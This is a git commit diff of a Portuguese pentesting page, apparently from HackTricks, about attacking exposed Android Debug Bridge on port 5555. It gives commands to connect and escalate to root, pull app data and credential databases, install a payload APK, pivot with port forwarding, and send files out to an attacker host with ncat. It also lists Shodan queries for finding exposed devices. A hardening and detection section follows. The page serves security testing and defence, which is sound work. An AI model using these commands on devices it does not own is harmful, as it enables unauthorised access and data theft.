Translated ['src/network-services-pentesting/5555-android-debug-bridge.m

This commit is contained in:
Translator 2025-08-19 00:39:08 +00:00
parent 5486dce6de
commit 96953c08f4

View File

@ -6,40 +6,141 @@
Do [documentos](https://developer.android.com/studio/command-line/adb): Do [documentos](https://developer.android.com/studio/command-line/adb):
**Android Debug Bridge** (adb) é uma ferramenta de linha de comando versátil que permite comunicar-se com um dispositivo. O comando adb facilita uma variedade de ações no dispositivo, como **instalar e depurar aplicativos**, e fornece **acesso a um shell Unix** que você pode usar para executar uma variedade de comandos em um dispositivo. Android Debug Bridge (adb) é uma ferramenta de linha de comando para se comunicar com dispositivos e emuladores baseados em Android. As ações típicas incluem instalar pacotes, depurar e obter um shell Unix interativo no dispositivo.
**Porta padrão**: 5555. - Porta TCP padrão histórica: 5555 (modo clássico "adb tcpip").
- A depuração sem fio moderna (Android 11+) usa emparelhamento TLS e descoberta de serviço mDNS. A porta de conexão é dinâmica e descoberta via mDNS; pode não ser 5555. O emparelhamento é feito com adb pair host:port seguido de adb connect. Veja as notas abaixo para implicações ofensivas.
Exemplo de impressão digital nmap:
``` ```
PORT STATE SERVICE VERSION PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909) 5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
``` ```
## Conectar ## Conectar
Se encontrar o serviço ADB rodando em uma porta de um dispositivo e você puder se conectar a ele, **você pode obter um shell dentro do sistema:** Se você encontrar o ADB exposto e acessível, tente se conectar e enumerar rapidamente:
```bash ```bash
adb connect 10.10.10.10 adb connect <ip>[:<port>] # Default is 5555 for classic mode
adb root # Try to escalate to root adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
adb shell adb shell # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
``` ```
Para mais comandos ADB, verifique a seguinte página: - Se o dispositivo impõe autenticação ADB (ro.adb.secure=1), você precisará ser pré-autorizado (autenticação USB RSA) ou usar o emparelhamento de depuração sem fio do Android 11+ (que requer um código de uso único exibido no dispositivo).
- Algumas imagens de fornecedores, builds de engenharia/userdebug, emuladores, TVs, STBs e kits de desenvolvimento expõem adbd sem autenticação ou com adbd rodando como root. Nesses casos, você normalmente cairá diretamente em um shell ou shell root.
Para uma referência geral de comandos ADB, veja:
{{#ref}} {{#ref}}
../mobile-pentesting/android-app-pentesting/adb-commands.md ../mobile-pentesting/android-app-pentesting/adb-commands.md
{{#endref}} {{#endref}}
### Extrair dados do aplicativo ## Rápida Pós-Exploração
Para baixar completamente os dados de um aplicativo, você pode: Uma vez que você tenha o shell, valide privilégios e contexto SELinux:
```bash ```bash
# From a root console id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
``` ```
Você pode usar esse truque para **recuperar informações sensíveis como senhas do chrome**. Para mais informações sobre isso, verifique as informações nas referências fornecidas [**aqui**](https://github.com/carlospolop/hacktricks/issues/274). ### Enumerar e capturar dados
- Liste aplicativos de terceiros e caminhos:
```bash
pm list packages -3
pm path <pkg>
```
- Se você tiver root (adb root ou su funciona), você pode acessar /data diretamente. Se não, prefira run-as para aplicativos depuráveis:
```bash
# Sem root, para um aplicativo depurável
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
# Com root
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
```
- Artefatos de sistema úteis (root necessário):
- /data/system/users/0/accounts.db e dados relacionados ao AccountManager
- /data/misc/wifi/ (configurações/chaves de rede em versões mais antigas)
- DBs SQLite específicos do aplicativo e shared_prefs em /data/data/<pkg>
Você pode usar isso para recuperar informações sensíveis (por exemplo, segredos do aplicativo). Para notas sobre considerações de dados do Chrome, veja a questão referenciada [aqui](https://github.com/carlospolop/hacktricks/issues/274).
### Execução de código e entrega de payload
- Instale e conceda permissões de execução automaticamente:
```bash
adb install -r -g payload.apk # -g concede todas as permissões de execução declaradas no manifesto
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
```
- Inicie atividades/serviços/transmissões diretamente:
```bash
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>
```
### Encaminhamento de porta e pivotagem
Mesmo sem root, adb pode encaminhar portas locais para portas do dispositivo e vice-versa. Isso é útil para acessar serviços vinculados localmente no dispositivo ou para expor serviços do atacante ao dispositivo.
- Encaminhar host->dispositivo (acessar um serviço local do dispositivo a partir do seu host):
```bash
adb forward tcp:2222 tcp:22 # Se o dispositivo executar SSH (por exemplo, Termux/Dropbear)
adb forward tcp:8081 tcp:8080 # Expor o servidor de depuração local do aplicativo
```
- Reverso dispositivo->host (deixar o dispositivo acessar um serviço no seu host):
```bash
adb reverse tcp:1080 tcp:1080 # Aplicativos do dispositivo agora podem acessar host:1080 como 127.0.0.1:1080
```
- Exfiltração de arquivos através de sockets (sem gravações no sdcard):
```bash
# No host: escutar
ncat -lvp 9000 > dump.tar
# No dispositivo: enviar diretório como tar (root ou run-as conforme aplicável)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
```
## Depuração Sem Fio (Android 11+)
O Android moderno implementa depuração sem fio protegida por TLS com emparelhamento do lado do dispositivo e descoberta mDNS:
```bash
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>
```
Notas
- As portas são dinâmicas; não assuma 5555. Os nomes de serviços mDNS parecem com:
- _adb-tls-pairing._tcp (pareamento)
- _adb-tls-connect._tcp (conexão pareada)
- _adb._tcp (legado/simples)
- Se o mDNS estiver filtrado, a habilitação clássica assistida por USB ainda pode funcionar em algumas versões: `adb tcpip 5555` então `adb connect <ip>:5555` (até reinicialização).
Implicações ofensivas: se você puder interagir com a interface do dispositivo (por exemplo, acesso físico ou configuração incorreta de MDM móvel) para habilitar a depuração sem fio e visualizar o código de pareamento, você pode estabelecer um canal ADB pareado de longa duração sem um cabo. Alguns OEMs expõem ADB sobre TCP em imagens de engenharia/desenvolvimento sem pareamento—sempre verifique.
## Fortalecimento / Detecção
Os defensores devem assumir que qualquer adbd (TCP) acessível é um risco crítico.
- Desative ADB e a depuração sem fio quando não necessário. Revogue autorizações de depuração USB nas opções de desenvolvedor.
- Certifique-se de que a política de rede bloqueie TCP/5555 de entrada e a descoberta ADB baseada em mDNS em segmentos não confiáveis.
- Em dispositivos sob seu controle:
```bash
settings put global adb_enabled 0
setprop service.adb.tcp.port -1 # desabilitar escuta TCP (ou use: adb usb)
stop adbd; start adbd # reiniciar daemon
```
- Monitore registros mDNS `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` em redes corporativas e alertas para ouvintes 5555 inesperados.
- Faça um inventário de versões inseguras: `getprop ro.debuggable`, `ro.build.type`, e `ro.adb.secure`.
## Shodan ## Shodan
- `android debug bridge` - android debug bridge
- port:5555 product:"Android Debug Bridge"
## Referências
- Android Developers Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
- AOSP ADB over WiFi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}